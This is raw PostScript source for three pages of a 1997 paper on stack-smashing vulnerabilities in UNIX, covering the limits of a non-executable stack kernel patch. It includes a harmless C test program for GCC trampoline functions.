0 (m)A (ov)S 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D 0.200 0 (it)A 13.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (ac)A 14.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 14.000 0 32 (on p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 14.000 0 32 (. )W -0.300 0 (\()A ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 4018 1743 M 0.200 0 (f)A (o)S 14.900 0 32 0.100 0 (r )D (So)S 0.200 0 (l)A (a)S 0.100 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 612 1920 M -0.200 0 (D)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A (gn)S -0.400 0 (e)A 0.100 0 (r)A -0.300 0 (\222)A 3.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S -0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (t)A 4.400 0 32 -0.400 0 (e )D (pa)S 0.200 0 (t)A -0.400 0 (c)A 4.000 0 32 (h, )W 0.100 0 (s)A 4.400 0 32 -0.400 0 (ee )D -0.100 0 (A)A (pp)S -0.400 0 (e)A (nd)S 0.200 0 (i)A 4.400 0 32 -0.400 0 (x )D 0.300 0 (C)A -1.300 0 (\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2405 1920 M 4.000 0 32 ( )W -0.200 0 (A)A 3.900 0 32 0.100 0 (s )D 4.400 0 32 -0.400 0 (a )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A 4.000 0 32 (h )W 0.200 0 (t)A (h)S -0.400 0 (a)A 3.800 0 32 0.200 0 (t i)D 3.900 0 32 0.100 0 (s )D (no)S 3.800 0 32 0.200 0 (t )D (d)S 0.200 0 (i)A -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A (u)S 3.800 0 32 0.200 0 (lt t)D 4.000 0 32 (o )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.200 0 (t)A 5.000 0 32 (o )W -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 2.800 0 32 0.200 0 (l )D -0.400 0 (a)A 3.000 0 32 (nd )W 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A 3.000 0 32 (, on)W 3.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (u)S 0.100 0 (s)A 2.800 0 32 0.200 0 (t )D (b)S 3.400 0 32 -0.400 0 (e a)D -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A 3.400 0 32 -0.400 0 (e )D (o)S 3.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (t)A -0.400 0 (e)A (n)S 0.200 0 (ti)A -0.400 0 (a)A 2.800 0 32 0.200 0 (l )D (d)S 0.200 0 (i)A -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A (u)S 0.200 0 (lti)A -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A 4.000 0 32 (h )W 0.200 0 (t)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A 4.000 0 32 (hod. )W -0.600 0 (F)A 0.200 0 (i)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A 4.000 0 32 (, )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 4137 2097 M (n)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 612 2274 M 0.200 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 27.000 0 32 (on )W -0.400 0 (c)A (a)S 0.200 0 (ll)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1181 2274 M 27.000 0 32 ( o)W -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 1316 2274 M 27.000 0 32 ( )W 0.200 0 (t)A 0.100 0 (r)A (a)S -0.200 0 (m)A (po)S 0.200 0 (li)A (n)S 27.400 0 32 -0.400 0 (e )D 0.200 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2226 2274 M 27.000 0 32 ( do no)W 27.800 0 32 0.200 0 (t )D -0.200 0 (w)A (o)S -0.300 0 (r)A 28.000 0 32 (k p)W -0.300 0 (r)A (op)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (l)A 31.000 0 32 -3.000 0 (y )D -0.200 0 (w)A 0.200 0 (it)A 28.000 0 32 (h p)W -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A (h)S -0.400 0 (e)A 28.000 0 32 (d k)W -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A 0.100 0 (s)A 28.000 0 32 (. )W -0.200 0 (A)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2451 M -0.019 0 (example of a trampoline function is as follows:)A ; LH savelevel1 restore pagesave restore (%%[ Page: 28 ]%%) = %%PageTrailer %%Page: 29 29 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (29)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1775 4650 M 0.014 0 (Example 11.3.a - Trampoline Function in C)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 4925 M -0.100 0 (T)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A (po)S 0.200 0 (li)A (n)S 9.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 8.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A 9.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 9.000 0 32 (on )W -0.400 0 (c)A (od)S 9.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 9.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (a)A 8.800 0 32 0.200 0 (t )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 9.000 0 32 (on )W -0.400 0 (a)A -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 9.300 0 32 -0.300 0 (r )D 9.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S 10.300 0 32 -0.300 0 (\(\) )D -0.400 0 (ca)A 9.800 0 32 0.200 0 (ll )D (h)S -0.400 0 (a)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5102 M (b)S -0.400 0 (ee)A 3.000 0 32 (n )W -1.000 0 (g)A 0.200 0 (i)A (v)S -0.400 0 (e)A 3.000 0 32 (n. )W 0.100 0 (M)A (o)S 0.100 0 (s)A 2.800 0 32 0.200 0 (t )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S 3.200 0 32 -0.200 0 (w )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 2.800 0 32 0.200 0 (it )D -0.400 0 (c)A (od)S 3.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A (p)S -0.400 0 (e)A (nd)S 2.900 0 32 0.100 0 (s )D 4.000 0 32 (on )W 0.200 0 (t)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D -1.000 0 (')A 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A (po)S 0.200 0 (li)A (n)S -0.400 0 (e)A 5.000 0 32 -1.000 0 (' )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 4.000 0 32 (on o)W 4.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D 0.300 0 (C)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5279 M (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 31.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 30.000 0 32 (, )W 0.200 0 (i)A 30.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (iti)A (n)S 31.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 30.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 30.000 0 32 (n v)W -0.400 0 (a)A 0.200 0 (l)A (u)S 30.400 0 32 -0.400 0 (e )D (o)S 30.300 0 32 -0.300 0 (f )D 30.400 0 32 -0.400 0 (a )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 30.000 0 32 (on. )W -0.200 0 (H)A 0.200 0 (i)A -1.000 0 (g)A 30.000 0 32 (h )W 0.200 0 (l)A -0.400 0 (e)A (v)S -0.400 0 (e)A 29.800 0 32 0.200 0 (l )D -2.100 0 (L)A -2.300 0 (I)A 0.400 0 (SP)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5456 M -0.046 0 (interpreters and objective C compilers also make extensive use of trampoline functions.)A ; : 511 500 3982 4146 rc 0 0 0 sco %%IncludeFont: Courier (F5) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F5_67) cvn F5 67 xF F5_67 Ji 612 514 M -0.200 0 (include )A ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 592 500 N M 3820 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 586 506 N M 6 79 rr : 0 0 0 sco O ; 4412 506 N M 6 79 rr : 0 0 0 sco O ; 586 585 N M 6 71 rr : 0 0 0 sco O ; 4412 585 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 656 M -0.200 0 ( int)A ; 586 656 N M 6 71 rr : 0 0 0 sco O ; 4412 656 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 727 M -0.200 0 ( g \(int a, int b, int \(*gi\) \(int, int\)\))A ; 586 727 N M 6 71 rr : 0 0 0 sco O ; 4412 727 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 798 M -0.200 0 ( {)A ; 586 798 N M 6 71 rr : 0 0 0 sco O ; 4412 798 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 869 M -0.200 0 ( printf \("Inside g, a = %d, b = %d, gi = 0x%.8lx\\n", a, b, \(long\)gi\);)A ; 586 869 N M 6 71 rr : 0 0 0 sco O ; 4412 869 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 940 M -0.200 0 ( fflush \(stdout\);)A ; 586 940 N M 6 71 rr : 0 0 0 sco O ; 4412 940 N M 6 71 rr : 0 0 0 sco O ; 586 1011 N M 6 71 rr : 0 0 0 sco O ; 4412 1011 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1082 M -0.200 0 ( if \(\(*gi\) \(a, b\)\))A ; 586 1082 N M 6 71 rr : 0 0 0 sco O ; 4412 1082 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1153 M -0.200 0 ( return a;)A ; 586 1153 N M 6 71 rr : 0 0 0 sco O ; 4412 1153 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1224 M -0.200 0 ( else)A ; 586 1224 N M 6 71 rr : 0 0 0 sco O ; 4412 1224 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1295 M -0.200 0 ( return b;)A ; 586 1295 N M 6 71 rr : 0 0 0 sco O ; 4412 1295 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1366 M -0.200 0 ( })A ; 586 1366 N M 6 71 rr : 0 0 0 sco O ; 4412 1366 N M 6 71 rr : 0 0 0 sco O ; 586 1437 N M 6 71 rr : 0 0 0 sco O ; 4412 1437 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1508 M -0.200 0 ( void)A ; 586 1508 N M 6 71 rr : 0 0 0 sco O ; 4412 1508 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1579 M -0.200 0 ( f \(void\))A ; 586 1579 N M 6 71 rr : 0 0 0 sco O ; 4412 1579 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1650 M -0.200 0 ( {)A ; 586 1650 N M 6 71 rr : 0 0 0 sco O ; 4412 1650 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1721 M -0.200 0 ( int i, j;)A ; 586 1721 N M 6 71 rr : 0 0 0 sco O ; 4412 1721 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1792 M -0.200 0 ( int f2 \(int a, int b\))A ; 586 1792 N M 6 71 rr : 0 0 0 sco O ; 4412 1792 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1863 M -0.200 0 ( {)A ; 586 1863 N M 6 71 rr : 0 0 0 sco O ; 4412 1863 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1934 M -0.200 0 ( printf \("Inside f2, a = %d, b = %d\\n", a, b\);)A ; 586 1934 N M 6 71 rr : 0 0 0 sco O ; 4412 1934 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2005 M -0.200 0 ( fflush \(stdout\);)A ; 586 2005 N M 6 71 rr : 0 0 0 sco O ; 4412 2005 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2076 M -0.200 0 ( return a > b;)A ; 586 2076 N M 6 71 rr : 0 0 0 sco O ; 4412 2076 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2147 M -0.200 0 ( })A ; 586 2147 N M 6 71 rr : 0 0 0 sco O ; 4412 2147 N M 6 71 rr : 0 0 0 sco O ; 586 2218 N M 6 71 rr : 0 0 0 sco O ; 4412 2218 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2289 M -0.200 0 ( int f3 \(int a, int b\))A ; 586 2289 N M 6 71 rr : 0 0 0 sco O ; 4412 2289 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2360 M -0.200 0 ( {)A ; 586 2360 N M 6 71 rr : 0 0 0 sco O ; 4412 2360 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2431 M -0.200 0 ( printf \("Inside f3, i = %d, j = %d\\n", i, j\);)A ; 586 2431 N M 6 71 rr : 0 0 0 sco O ; 4412 2431 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2502 M -0.200 0 ( fflush \(stdout\);)A ; 586 2502 N M 6 71 rr : 0 0 0 sco O ; 4412 2502 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2573 M -0.200 0 ( return i > j;)A ; 586 2573 N M 6 71 rr : 0 0 0 sco O ; 4412 2573 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2644 M -0.200 0 ( })A ; 586 2644 N M 6 71 rr : 0 0 0 sco O ; 4412 2644 N M 6 71 rr : 0 0 0 sco O ; 586 2715 N M 6 71 rr : 0 0 0 sco O ; 4412 2715 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2786 M -0.200 0 ( if \(g \(1, 2, f2\) != 2\) {)A ; 586 2786 N M 6 71 rr : 0 0 0 sco O ; 4412 2786 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2857 M -0.200 0 ( printf \("Trampoline call returned the wrong value\\n"\);)A ; 586 2857 N M 6 71 rr : 0 0 0 sco O ; 4412 2857 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2928 M -0.200 0 ( fflush \(stdout\);)A ; 586 2928 N M 6 71 rr : 0 0 0 sco O ; 4412 2928 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2999 M -0.200 0 ( abort \(\);)A ; 586 2999 N M 6 71 rr : 0 0 0 sco O ; 4412 2999 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3070 M -0.200 0 ( })A ; 586 3070 N M 6 71 rr : 0 0 0 sco O ; 4412 3070 N M 6 71 rr : 0 0 0 sco O ; 586 3141 N M 6 71 rr : 0 0 0 sco O ; 4412 3141 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3212 M -0.200 0 ( i = 4;)A ; 586 3212 N M 6 71 rr : 0 0 0 sco O ; 4412 3212 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3283 M -0.200 0 ( j = 3;)A ; 586 3283 N M 6 71 rr : 0 0 0 sco O ; 4412 3283 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3354 M -0.200 0 ( if \(g \(5, 6, f3\) != 5\) {)A ; 586 3354 N M 6 71 rr : 0 0 0 sco O ; 4412 3354 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3425 M -0.200 0 ( printf \("Trampoline call returned the wrong value\\n"\);)A ; 586 3425 N M 6 71 rr : 0 0 0 sco O ; 4412 3425 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3496 M -0.200 0 ( fflush \(stdout\);)A ; 586 3496 N M 6 71 rr : 0 0 0 sco O ; 4412 3496 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3567 M -0.200 0 ( abort \(\);)A ; 586 3567 N M 6 71 rr : 0 0 0 sco O ; 4412 3567 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3638 M -0.200 0 ( })A ; 586 3638 N M 6 71 rr : 0 0 0 sco O ; 4412 3638 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3709 M -0.200 0 ( })A ; 586 3709 N M 6 71 rr : 0 0 0 sco O ; 4412 3709 N M 6 71 rr : 0 0 0 sco O ; 586 3780 N M 6 71 rr : 0 0 0 sco O ; 4412 3780 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3851 M -0.200 0 ( int)A ; 586 3851 N M 6 71 rr : 0 0 0 sco O ; 4412 3851 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3922 M -0.200 0 ( main \(void\))A ; 586 3922 N M 6 71 rr : 0 0 0 sco O ; 4412 3922 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 3993 M -0.200 0 ( {)A ; 586 3993 N M 6 71 rr : 0 0 0 sco O ; 4412 3993 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4064 M -0.200 0 ( printf \("Before trampoline call\\n"\);)A ; 586 4064 N M 6 71 rr : 0 0 0 sco O ; 4412 4064 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4135 M -0.200 0 ( fflush \(stdout\);)A ; 586 4135 N M 6 71 rr : 0 0 0 sco O ; 4412 4135 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4206 M -0.200 0 ( f \(\);)A ; 586 4206 N M 6 71 rr : 0 0 0 sco O ; 4412 4206 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4277 M -0.200 0 ( printf \("Trampoline call succeeded\\n"\);)A ; 586 4277 N M 6 71 rr : 0 0 0 sco O ; 4412 4277 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4348 M -0.200 0 ( fflush \(stdout\);)A ; 586 4348 N M 6 71 rr : 0 0 0 sco O ; 4412 4348 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4419 M -0.200 0 ( return 0;)A ; 586 4419 N M 6 71 rr : 0 0 0 sco O ; 4412 4419 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 4490 M -0.200 0 ( })A ; 586 4490 N M 6 71 rr : 0 0 0 sco O ; 4412 4490 N M 6 71 rr : 0 0 0 sco O ; 586 4640 N M 6 6 rr : 0 0 0 sco O ; 586 4640 N M 6 6 rr : 0 0 0 sco O ; 592 4640 N M 3820 6 rr : 0 0 0 sco O ; 4412 4640 N M 6 6 rr : 0 0 0 sco O ; 4412 4640 N M 6 6 rr : 0 0 0 sco O ; 586 4561 N M 6 79 rr : 0 0 0 sco O ; 4412 4561 N M 6 79 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 29 ]%%) = %%PageTrailer %%Page: 30 30 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (30)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 504 M -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 42.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (a)A 41.800 0 32 0.200 0 (l )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (l)A -0.400 0 (e)A 43.300 0 32 -0.300 0 (r r)D -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S 42.900 0 32 0.100 0 (s )D 0.200 0 (i)A 43.000 0 32 (n )W 0.200 0 (t)A (h)S 43.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 42.000 0 32 1.000 0 (x )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 44.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 42.800 0 32 0.200 0 (m )D -0.300 0 (r)A -0.400 0 (e)A (qu)S 0.200 0 (i)A -0.300 0 (r)A 43.400 0 32 -0.400 0 (e a)D (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 24.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 24.000 0 32 (k. )W 0.400 0 (S)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (a)A 23.800 0 32 0.200 0 (l )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (l)A -0.400 0 (e)A -0.300 0 (r)A 24.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 25.400 0 32 -0.400 0 (e a)D (b)S 0.100 0 (s)A (o)S 0.200 0 (l)A (u)S 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (l)A 28.000 0 32 -3.000 0 (y )D -0.400 0 (c)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 24.800 0 32 0.200 0 (l i)D 25.000 0 32 (n )W -0.400 0 (a)A 25.000 0 32 (n op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 26.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 25.000 0 32 (, )W 0.200 0 (t)A (hu)S 0.100 0 (s)A 25.000 0 32 (, )W -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A (po)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 6.000 0 32 -3.000 0 (y )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 3.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 4.000 0 32 (k )W -0.300 0 (f)A (o)S 4.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (a)A 3.800 0 32 0.200 0 (l )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (l)A -0.400 0 (e)A -0.300 0 (r)A 3.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 3.800 0 32 0.200 0 (t )D (b)S 4.400 0 32 -0.400 0 (e )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A 4.000 0 32 (d. )W -0.100 0 (T)A (hu)S 0.100 0 (s)A 4.000 0 32 (, bu)W -0.300 0 (ff)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 